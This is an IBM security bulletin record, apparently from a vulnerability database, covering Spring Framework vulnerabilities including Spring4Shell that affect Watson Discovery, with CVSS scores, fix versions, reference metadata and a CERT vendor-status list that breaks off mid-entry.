## Summary
IBM Watson Discovery for IBM Cloud Pak for Data is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. Spring is used for internal services. The fix includes Spring 5.3.18.
## Vulnerability Details
** CVEID: **[CVE-2022-22950](<https://vulners.com/cve/CVE-2022-22950>)
** DESCRIPTION: **VMware Tanzu Spring Framework is vulnerable to a denial of service, caused by improper input validation. By sending a specially-crafted crafted SpEL expression, a remote attacker could exploit this vulnerability to cause a denial of service condition.
CVSS Base score: 5.4
CVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223096](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223096>) for the current score.
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L)
** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>)
** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell.
CVSS Base score: 9.8
CVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score.
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
** CVEID: **[CVE-2022-22963](<https://vulners.com/cve/CVE-2022-22963>)
** DESCRIPTION: **VMware Spring Cloud Function could allow a remote attacker to execute arbitrary code on the system, caused by an error when using the routing functionality. By providing a specially crafted SpEL as a routing-expression, an attacker could exploit this vulnerability to execute arbitrary code on the system.
CVSS Base score: 9.8
CVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223020](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223020>) for the current score.
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
## Affected Products and Versions
Affected Product(s)| Version(s)
---|---
Watson Discovery| 4.0.0-4.0.7
Watson Discovery| 2.0.0-2.2.1
## Remediation/Fixes
Upgrade to IBM Watson Discovery 4.0.8
Upgrade to IBM Watson Discovery 2.2.1 and apply cpd-watson-discovery-2.2.1-patch-10
<https://cloud.ibm.com/docs/discovery-data?topic=discovery-data-install>
<https://www.ibm.com/support/pages/available-patches-watson-discovery-ibm-cloud-pak-data>
## Workarounds and Mitigations
None
##
{"id": "370CF55655D0DCE5B827E549AA74D877B1D4BA2D531AAEFFDF0A6CA27218326F", "vendorId": null, "type": "ibm", "bulletinFamily": "software", "title": "Security Bulletin: IBM Watson Discovery for IBM Cloud Pak for Data is affected by a remote code execution in Spring Framework (CVE-2022-22965)", "description": "## Summary\n\nIBM Watson Discovery for IBM Cloud Pak for Data is affected but not classified as vulnerable to a remote code execution in Spring Framework (CVE-2022-22965) as it does not meet all of the following criteria: 1. JDK 9 or higher, 2. Apache Tomcat as the Servlet container, 3. Packaged as WAR (in contrast to a Spring Boot executable jar), 4. Spring-webmvc or spring-webflux dependency, 5. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions. Spring is used for internal services. The fix includes Spring 5.3.18.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2022-22950](<https://vulners.com/cve/CVE-2022-22950>) \n** DESCRIPTION: **VMware Tanzu Spring Framework is vulnerable to a denial of service, caused by improper input validation. By sending a specially-crafted crafted SpEL expression, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223096](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223096>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L) \n \n** CVEID: **[CVE-2022-22965](<https://vulners.com/cve/CVE-2022-22965>) \n** DESCRIPTION: **Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding. By sending specially-crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223103](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223103>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2022-22963](<https://vulners.com/cve/CVE-2022-22963>) \n** DESCRIPTION: **VMware Spring Cloud Function could allow a remote attacker to execute arbitrary code on the system, caused by an error when using the routing functionality. By providing a specially crafted SpEL as a routing-expression, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223020](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223020>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nWatson Discovery| 4.0.0-4.0.7 \nWatson Discovery| 2.0.0-2.2.1 \n \n\n\n## Remediation/Fixes\n\nUpgrade to IBM Watson Discovery 4.0.8 \n\nUpgrade to IBM Watson Discovery 2.2.1 and apply cpd-watson-discovery-2.2.1-patch-10\n\n<https://cloud.ibm.com/docs/discovery-data?topic=discovery-data-install>\n\n<https://www.ibm.com/support/pages/available-patches-watson-discovery-ibm-cloud-pak-data>\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "published": "2022-04-27T14:54:28", "modified": "2022-04-27T14:54:28", "epss": [{"cve": "CVE-2022-22950", "epss": 0.00072, "percentile": 0.29455, "modified": "2023-06-14"}, {"cve": "CVE-2022-22963", "epss": 0.97533, "percentile": 0.99983, "modified": "2023-06-14"}, {"cve": "CVE-2022-22965", "epss": 0.97506, "percentile": 0.99963, "modified": "2023-06-14"}], "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 7.5}, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "attackVector": 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"E9F0B13DD28C1AFA3EA944A83A0281284C2444069758D5085ED5787CB960A8C5", "EB58ABDFAA1D2A9C4F164D6FC9FD899843DF1F1028ECDA035A0F0C34CD298FAD", "EBCC12197854D7C444B518B80A223576FCB219A088A0CC929C19FF2993DC431A", "EBFFCC00EDD65F45E051073EAF518CD443503E46CC247513E4B973ECC7C31531", "ED11CF0606100E816592CB9CC87F176EF4BB64094BA5B7978B3810737572EBA4", "EDAF5143E634E5EF55D5C0186ECF166CE8CE37DFE44681979D15F0D7CA2DAFAD", "EF2166DB5EE8BD87E1440D3823C327B8BCA46A3FD349720520FD40C591911F30", "F243281320AFD7E2710EDC7B3D2DE73901C6546A063CD6DB1074893EA50F7F8E", "F426BDEEA0109CBE44C73C53461CE7144BDD04ADCF7EC044CE76723EAE672095"]}, {"type": "ics", "idList": ["ICSA-22-286-05"]}, {"type": "impervablog", "idList": ["IMPERVABLOG:45FA8B88D226614CA46C4FD925A08C8B"]}, {"type": "kitploit", "idList": ["KITPLOIT:3050371869908791295", "KITPLOIT:6278364996548285306", "KITPLOIT:7586926896865819908"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:30F9B0094E0BC177A7D657BF67D87E39"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT-MULTI-HTTP-SPRING_CLOUD_FUNCTION_SPEL_INJECTION-", "MSF:EXPLOIT-MULTI-HTTP-SPRING_FRAMEWORK_RCE_SPRING4SHELL-"]}, {"type": "mmpc", "idList": ["MMPC:07417E2EE012BAE0350B156AD2AE30B3", "MMPC:0FBB61490D4A94C83AEE14DDEE722297"]}, {"type": "msrc", "idList": ["MSRC:4016FF02733260CBC5200B5091666FD4", "MSRC:68FA6D02FA64FF61F41A7B1A8E364197", "MSRC:6DA934C9E783C787D408548AA6F1CEC3", "MSRC:A49EE2D875C0E490BD326B3CDDB7399F"]}, {"type": "mssecure", "idList": ["MSSECURE:07417E2EE012BAE0350B156AD2AE30B3", "MSSECURE:0FBB61490D4A94C83AEE14DDEE722297"]}, {"type": "nessus", "idList": ["DELL_WYSE_MANAGEMENT_SUITE_DSA-2022-098.NASL", "EMC_NETWORKER_DSA-2022-350.NASL", "MYSQL_ENTERPRISE_MONITOR_8_0_30.NASL", "ORACLE_BI_PUBLISHER_OAS_CPU_JUL_2022.NASL", "ORACLE_PRIMAVERA_GATEWAY_CPU_JUL_2022.NASL", "ORACLE_WEBLOGIC_SERVER_CPU_JUL_2022.NASL", "REDHAT-RHSA-2022-5555.NASL", "SPRING4SHELL.NBIN", "SPRING_CLOUD_CVE-2022-22963.NBIN", "SPRING_CVE-2022-22950.NASL", "SPRING_CVE-2022-22963_LOCAL.NASL", "SPRING_CVE-2022-22965_LOCAL.NASL", "TOMCAT_10_0_20.NASL", "TOMCAT_8_5_78.NASL", "TOMCAT_9_0_62.NASL"]}, {"type": "oracle", "idList": ["ORACLE:CPUAPR2022", "ORACLE:CPUAPR2023", "ORACLE:CPUJAN2023", "ORACLE:CPUJUL2022", "ORACLE:CPUOCT2022"]}, {"type": "osv", "idList": ["OSV:GHSA-36P3-WJMG-H94X", "OSV:GHSA-558X-2XJG-6232", "OSV:GHSA-6V73-FGF6-W5J7"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:166562", "PACKETSTORM:167011"]}, {"type": "paloalto", "idList": ["PA-CVE-2022-22963"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:0EAB7251347951045CAC549194E33673", "QUALYSBLOG:3F273F13C86516B494271DB7BE04A954", "QUALYSBLOG:5FAC1C82A388DBB84ECD7CD43450B624", "QUALYSBLOG:6DE7FC733B2FD13EE70756266FF191D0", "QUALYSBLOG:A0F20902D80081B44813D92C6DCCDAAF", "QUALYSBLOG:D1FC7658A8AB3554F3796CEE14DA3320"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:0576BE6110654A3F9BF7B9DE1118A10A", "RAPID7BLOG:07CA09B4E3B3835E096AA56546C43E8E", "RAPID7BLOG:07EA4EC150B77E4EB3557E1B1BA39725", "RAPID7BLOG:1C4EBCEAFC7E54954F827CAEDB3291DA", "RAPID7BLOG:3CB617802DB281BCA8BA6057AE3A98E0", "RAPID7BLOG:46F0D57262DABE81708D657F2733AA5D", "RAPID7BLOG:66B9F80A5ED88EFA9D054CBCE8AA19A5", "RAPID7BLOG:80C2CFBF70B3668FC60A8C97D27CA478", "RAPID7BLOG:D185BF677E20E357AFE422CFB80809A5", "RAPID7BLOG:F14526C6852230A4E4CF44ADE151DF49", "RAPID7BLOG:F708A09CA1EFFC0565CA94D5DBC414D5"]}, {"type": "redhat", "idList": ["RHSA-2022:1291", "RHSA-2022:1292", "RHSA-2022:1306", "RHSA-2022:1333", "RHSA-2022:1360", "RHSA-2022:1378", "RHSA-2022:1379", "RHSA-2022:1626", "RHSA-2022:1627", "RHSA-2022:4880", "RHSA-2022:5532", "RHSA-2022:5555", "RHSA-2022:5903", "RHSA-2022:8761"]}, {"type": "redhatcve", "idList": ["RH:CVE-2022-22950", "RH:CVE-2022-22963", "RH:CVE-2022-22965"]}, {"type": "saint", "idList": ["SAINT:ACED9607933F401D5B0A59CB25D22B09", "SAINT:EA21934BE7986CEF27E73EAA38D7EB58"]}, {"type": "securelist", "idList": ["SECURELIST:0ED76DA480D73D593C82769757DFD87A", "SECURELIST:11665FFD7075FB9D59316195101DE894", "SECURELIST:D9AF9603FDB076FD6351B6ED483A4947", "SECURELIST:E21F9D6D3E5AFD65C99FC385D4B5F1DC"]}, {"type": "spring", "idList": ["SPRING:0A31867D9351CED0BD42C5AD9FB90F8C", "SPRING:5D790268422545C1CFB6959B07261E50", "SPRING:DA8F6AA20460EB2D550732A7F74584F6", "SPRING:DE384E814B204ABC68C9A98C00ACA572", "SPRING:EA9C08B2E57AC70E90A896D25F4A8BEE"]}, {"type": "talosblog", "idList": ["TALOSBLOG:3587BB077717B0512A9D0EFCCBE8770B"]}, {"type": "thn", "idList": ["THN:51196AEF32803B9BBB839D4CADBF5B38", "THN:5D50D5AA81EE14FA1044614364EAEBC6", "THN:7A3DFDA680FEA7FB77640D29F9D3E3E2", "THN:8FDA592D55831C1C4E3583B81FABA962", "THN:9F9D436651F16F99B6EA52F0DB9AE75C", "THN:EAFAEB28A545DC638924DAC8AAA4FBF2", "THN:ECDABD8FB1E94F5D8AFD13E4C1CB5840"]}, {"type": "threatpost", "idList": ["THREATPOST:D7D5E283A1FBB50F8BD8797B0D60A622"]}, {"type": "trellix", "idList": ["TRELLIX:33C611A7064C89E309C4A45CAE585BD5", "TRELLIX:341471F990B5DC7BFF1C28F924F10E32"]}, {"type": "trendmicroblog", "idList": ["TRENDMICROBLOG:3BBEDAD3D1AE692D361A31D5E9AE2538", "TRENDMICROBLOG:59C3D813302731E6DE220FB088280F67", "TRENDMICROBLOG:AFF0912EF635E2446F0D546515038F73"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2022-22950", "UB:CVE-2022-22965"]}, {"type": "vaadin", "idList": ["VAADIN:ADVISORY-2022-04-01"]}, {"type": "veracode", "idList": ["VERACODE:34883", "VERACODE:34884", "VERACODE:35014"]}, {"type": "vmware", "idList": ["VMSA-2022-0010", "VMSA-2022-0010.1", "VMSA-2022-0010.3", "VMSA-2022-0010.4", "VMSA-2022-0010.5"]}, {"type": "wallarmlab", "idList": ["WALLARMLAB:9178CD01A603571D2C21329BF42F9BFD"]}, {"type": "zdt", "idList": ["1337DAY-ID-37565", "1337DAY-ID-37692"]}]}, "affected_software": {"major_version": [{"name": "watson discovery", "version": 4}, {"name": "watson discovery", "version": 4}, {"name": "watson discovery", "version": 2}, {"name": "watson discovery", "version": 2}]}, "epss": [{"cve": "CVE-2022-22950", "epss": 0.00072, "percentile": 0.29287, "modified": "2023-05-02"}, {"cve": "CVE-2022-22963", "epss": 0.97501, "percentile": 0.99959, "modified": "2023-05-02"}, {"cve": "CVE-2022-22965", "epss": 0.97527, "percentile": 0.99979, "modified": "2023-05-02"}], "vulnersScore": 1.2}, "_state": {"score": 1687589590, "dependencies": 1687588226, "affected_software_major_version": 0, "epss": 0}, "_internal": {"score_hash": "909d6d70674223c7ee13f5882323f5ad"}, "affectedSoftware": [{"version": "4.0.0", "operator": "eq", "name": "watson discovery"}, {"version": "4.0.7", "operator": "eq", "name": "watson discovery"}, {"version": "2.0.0", "operator": "eq", "name": "watson discovery"}, {"version": "2.2.1", "operator": "eq", "name": "watson discovery"}]}
{"cert": [{"lastseen": "2023-07-22T11:15:11", "description": "### Overview\n\nThe Spring Framework insecurely handles PropertyDescriptor objects, which may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable system.\n\n### Description\n\nThe [Spring Framework](<https://spring.io/>) is a Java framework that can be used to create applications such as web applications. Due to improper handling of PropertyDescriptor objects used with data binding, Java applications written with Spring may allow for the execution of arbitrary code.\n\nExploit code that targets affected WAR-packaged Java code for tomcat servers is publicly available.\n\nNCSC-NL has a [list of products and their statuses](<https://github.com/NCSC-NL/spring4shell/blob/main/software/README.md>) with respect to this vulnerability.\n\n### Impact\n\nBy providing crafted data to a Spring Java application, such as a web application, an attacker may be able to execute arbitrary code with the privileges of the affected application. Depending on the application, exploitation may be possible by a remote attacker without requiring authentication.\n\n### Solution\n\n#### Apply an update\n\nThis issue is addressed in Spring Framework 5.3.18 and 5.2.20. Please see the [Spring Framework RCE Early Announcement](<https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement>) for more details.\n\n### Acknowledgements\n\nThis issue was publicly disclosed by heige.\n\nThis document was written by Will Dormann\n\n### Vendor Information\n\n970766\n\nFilter by status: All Affected Not Affected Unknown\n\nFilter by content: __ Additional information available\n\n__ Sort by: Status Alphabetical\n\nExpand all\n\n### Blueriq __ Affected\n\nNotified: 2022-04-02 Updated: 2022-04-02 **CVE-2022-22965**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://www.blueriq.com/en/insights/measures-cve22950-22963-22965>\n\n### BMC Software __ Affected\n\nNotified: 2022-04-06 Updated: 2022-04-06 **CVE-2022-22965**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://bmcsites.force.com/casemgmt/sc_KnowledgeArticle?sfdcid=000395541>\n\n### Cisco __ Affected\n\nNotified: 2022-04-06 Updated: 2022-04-08\n\n**Statement Date: April 07, 2022**\n\n**CVE-2022-22965**| Affected \n---|--- \n \n#### Vendor Statement\n\nCisco is aware of the vulnerability identified by CVE ID CVE-2022-22950 and with the title \"Spring Expression DoS Vulnerability\". We are following our well-established process to investigate all aspects of the issue. If something is found that our customers need to be aware of and respond to, we will communicate via our established disclosure process.\n\n#### References\n\n * <https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-java-spring-rce-Zx9GUc67>\n\n### Dell __ Affected\n\nUpdated: 2022-04-20 **CVE-2022-22965**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * [https://www.dell.com/support/home/en-us/drivers/driversdetails?driverid=0vdcg&oscode=naa&productcode=wyse-wms](<https://www.dell.com/support/home/en-us/drivers/driversdetails?driverid=0vdcg&oscode=naa&productcode=wyse-wms>)\n\n### JAMF software __ Affected\n\nNotified: 2022-04-06 Updated: 2022-04-04 **CVE-2022-22965**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://community.jamf.com/t5/jamf-pro/spring4shell-vulnerability/td-p/262584>\n\n### NetApp __ Affected\n\nNotified: 2022-04-06 Updated: 2022-04-05 **CVE-2022-22965**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://security.netapp.com/advisory/ntap-20220401-0001/>\n\n### PTC __ Affected\n\nNotified: 2022-04-06 Updated: 2022-04-04 **CVE-2022-22965**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * [https://www.ptc.com/en/support/article/cs366379?language=en&posno=1&q=CVE-2022-22965&source=search](<https://www.ptc.com/en/support/article/cs366379?language=en&posno=1&q=CVE-2022-22965&source=search>)\n\n### SAP SE __ Affected\n\nUpdated: 2022-04-13 **CVE-2022-22965**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * [https://dam.sap.com/mac/app/e/pdf/preview/embed/ucQrx6G?ltr=a&rc=10](<https://dam.sap.com/mac/app/e/pdf/preview/embed/ucQrx6G?ltr=a&rc=10>)\n\n### Siemens __ Affected\n\nUpdated: 2022-04-27 **CVE-2022-22965**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://cert-portal.siemens.com/productcert/pdf/ssa-254054.pdf>\n\n### SolarWinds __ Affected\n\nNotified: 2022-04-02 Updated: 2022-04-06\n\n**Statement Date: April 04, 2022**\n\n**CVE-2022-22965**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received any reports of these issues from SolarWinds customers but are actively investigating. The following SolarWinds product do utilize the Spring Framework, but have not yet been confirmed to be affected by this issue: \u2022 Security Event Manager (SEM) \u2022 Database Performance Analyzer (DPA) \u2022 Web Help Desk (WHD) While we have not seen or received reports of SolarWinds products affected by this issue, for the protection of their environments, SolarWinds strongly recommends all customers disconnect their public-facing (internet-facing) installations of these SolarWinds products (SEM, DPA, and WHD) from the internet.\n\n#### References\n\n * <https://www.solarwinds.com/trust-center/security-advisories/spring4shell>\n\n### Spring __ Affected\n\nNotified: 2022-03-31 Updated: 2022-03-31\n\n**Statement Date: March 31, 2022**\n\n**CVE-2022-22965**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://tanzu.vmware.com/security/cve-2022-22965>\n * <https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement>\n\n### VMware __ Affected\n\nNotified: 2022-04-06 Updated: 2022-04-03 **CVE-2022-22965**| Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://www.vmware.com/security/advisories/VMSA-2022-0010.html>\n\n### Aruba Networks __ Not Affected\n\nNotified: 2022-04-06 Updated: 2022-04-08\n\n**Statement Date: April 07, 2022**\n\n**CVE-2022-22965**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nAruba Networks is aware of the issue and we have published a security advisory for our products at https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-006.txt\n\n### Check Point __ Not Affected\n\nUpdated: 2022-04-12 **CVE-2022-22965**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * [https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk178605&src=securityAlerts](<https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk178605&src=securityAlerts>)\n\n### Commvault __ Not Affected\n\nNotified: 2022-04-06 Updated: 2022-04-05 **CVE-2022-22965**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://documentation.commvault.com/v11/essential/146231_security_vulnerability_and_reporting.html#cv2022041-spring-framework>\n\n### Elastic __ Not Affected\n\nNotified: 2022-04-06 Updated: 2022-04-05 **CVE-2022-22965**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://discuss.elastic.co/t/spring4shell-spring-framework-remote-code-execution-vulnerability/301229>\n\n### F5 Networks __ Not Affected\n\nNotified: 2022-04-01 Updated: 2022-04-20\n\n**Statement Date: April 15, 2022**\n\n**CVE-2022-22965**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nF5 products and services and NGINX products are not affected by CVE-2022-22965.\n\n#### References\n\n * <https://support.f5.com/csp/article/K11510688>\n\n### Jenkins __ Not Affected\n\nNotified: 2022-04-06 Updated: 2022-04-02 **CVE-2022-22965**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://www.jenkins.io/blog/2022/03/31/spring-rce-CVE-2022-22965/>\n\n### Micro Focus __ Not Affected\n\nNotified: 2022-04-06 Updated: 2022-04-05 **CVE-2022-22965**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://portal.microfocus.com/s/article/KM000005107?language=en_US>\n\n### Okta Inc. __ Not Affected\n\nNotified: 2022-04-06 Updated: 2022-04-04 **CVE-2022-22965**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://sec.okta.com/articles/2022/04/oktas-response-cve-2022-22965-spring4shell>\n\n### Palo Alto Networks __ Not Affected\n\nNotified: 2022-04-06 Updated: 2022-04-05 **CVE-2022-22965**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://security.paloaltonetworks.com/CVE-2022-22963>\n\n### Pulse Secure __ Not Affected\n\nNotified: 2022-04-06 Updated: 2022-04-05 **CVE-2022-22965**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB45126/?kA13Z000000L3sW>\n\n### Red Hat __ Not Affected\n\nNotified: 2022-04-06 Updated: 2022-04-08\n\n**Statement Date: April 08, 2022**\n\n**CVE-2022-22965**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nNo Red Hat products are affected by CVE-2022-22963.\n\n### salesforce.com __ Not Affected\n\nNotified: 2022-04-06 Updated: 2022-04-05 **CVE-2022-22965**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://kb.tableau.com/articles/Issue/Spring4Shell-CVE-2022-22963-and-CVE-2022-22965>\n\n### SonarSource __ Not Affected\n\nNotified: 2022-04-06 Updated: 2022-04-06 **CVE-2022-22965**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://community.sonarsource.com/t/sonarqube-sonarcloud-and-spring4shell/60926>\n\n### Trend Micro __ Not Affected\n\nNotified: 2022-04-02 Updated: 2022-04-08\n\n**Statement Date: April 06, 2022**\n\n**CVE-2022-22965**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://success.trendmicro.com/dcx/s/solution/000290730>\n\n### Ubiquiti __ Not Affected\n\nNotified: 2022-04-06 Updated: 2022-04-08\n\n**Statement Date: April 08, 2022**\n\n**CVE-2022-22965**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nThe UniFi Network application only supports Java 8, which is not affected by this CVE. Still, the upcoming Network Version 7.2 update will upgrade to Spring Framework 5.3.18.\n\n#### References\n\n * <https://community.ui.com/releases/Statement-Regarding-Spring-CVE-2022-22965-2022-22950-and-2022-22963-001/19b2dc6f-4c36-436e-bd38-59ea0d6f1cb5>\n\n### Veritas Technologies __ Not Affected\n\nNotified: 2022-04-02 Updated: 2022-04-02 **CVE-2022-22965**| Not Affected \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://www.veritas.com/content/support/en_US/security/VTS22-006>\n\n### Atlassian __ Unknown\n\nNotified: 2022-04-01 Updated: 2022-04-02 **CVE-2022-22965**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://community.developer.atlassian.com/t/attention-cve-2022-22965-spring-framework-rce-investigation/57172>\n\n### CyberArk __ Unknown\n\nUpdated: 2022-04-12 **CVE-2022-22965**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://cyberark-customers.force.com/s/article/Spring-Framework-CVE-2022-22965>\n\n### Fortinet __ Unknown\n\nNotified: 2022-04-02 Updated: 2022-04-02 **CVE-2022-22965**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://fortiguard.fortinet.com/psirt/FG-IR-22-072>\n\n### GeoServer __ Unknown\n\nNotified: 2022-04-02 Updated: 2022-04-02 **CVE-2022-22965**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://geoserver.org/announcements/vulnerability/2022/04/01/spring.html>\n\n### Kofax __ Unknown\n\nNotified: 2022-04-06 Updated: 2022-04-05 **CVE-2022-22965**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * <https://community.kofax.com/s/question/0D53m00006FG8NVCA1/communications-manager-release-announcements?language=en_US>\n * <https://community.kofax.com/s/question/0D53m00006w0My3CAE/controlsuite-release-announcements?language=en_US>\n * <https://community.kofax.com/s/question/0D53m00006FG8RtCAL/readsoft-release-announcements?language=en_US>\n * <https://community.kofax.com/s/question/0D53m00006FG8ThCAL/robotic-process-automation-release-announcements?language=en_US>\n * <https://community.kofax.com/s/question/0D53m00006FG8QdCAL/markview-release-announcements>\n * <https://knowledge.kofax.com/General_Support/General_Troubleshooting/Kofax_products_and_Spring4Shell_vulnerability_information>\n\n### McAfee __ Unknown\n\nNotified: 2022-04-06 Updated: 2022-04-11 **CVE-2022-22965**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * [https://kc.mcafee.com/corporate/index?page=content&id=KB95447](<https://kc.mcafee.com/corporate/index?page=content&id=KB95447>)\n\n### ServiceNow __ Unknown\n\nNotified: 2022-04-02 Updated: 2022-04-02 **CVE-2022-22965**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n#### References\n\n * [https://community.servicenow.com/community?id=community_question&sys_id=5530394edb2e8950e2adc2230596194f](<https://community.servicenow.com/community?id=community_question&sys_id=5530394edb2e8950e2adc2230596194f>)\n\n### TIBCO __ Unknown\n\nNotified: 2022-04-06 Updated: 2022-05-19\n\n**Statement Date: May 17, 2022**\n\n**CVE-2022-22965**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a 